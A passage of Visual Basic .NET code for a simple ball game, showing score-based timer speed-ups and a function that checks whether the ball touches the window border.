Timer1.Interval = 70
ElseIf (intScore > 3000 And intScore <= 4000) Then
Timer1.Interval = 50
ElseIf intScore > 4000 And intScore <= 5000 Then
Timer1.Interval = 30
ElseIf intScore > 5000 And intScore <= 6000 Then
Timer1.Interval = 20
ElseIf intScore > 6000 And intScore <= 7000 Then
Timer1.Interval = 10
ElseIf intScore > 7000 Then
Timer1.Interval = 2
End If
End Sub
' This function is used to check of the ball touches the window border
Private Function IsBorderExceeded(ByVal intWindowWidth As Integer, ByVal intWindowHeight As Integer, ByVal Circle As Object) As Boolean
' If Circle.Left <= 0 Or Circle.Top <= 0 Or (Circle.Left + Circle.Width) >= intWindowWidth Or (Circle.Top + Circle.Height + 70) >= intWindowHeight Then
If Circle.Left <= 0 Or Circle.Top <= 0 Or (Circle.Left + Circle.Width) >= intWindowWidth Or (Circle.Top + Circle.Height) >= intWindowHeight Then
Return True
Else
Return False
End If
End Function
End Class
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.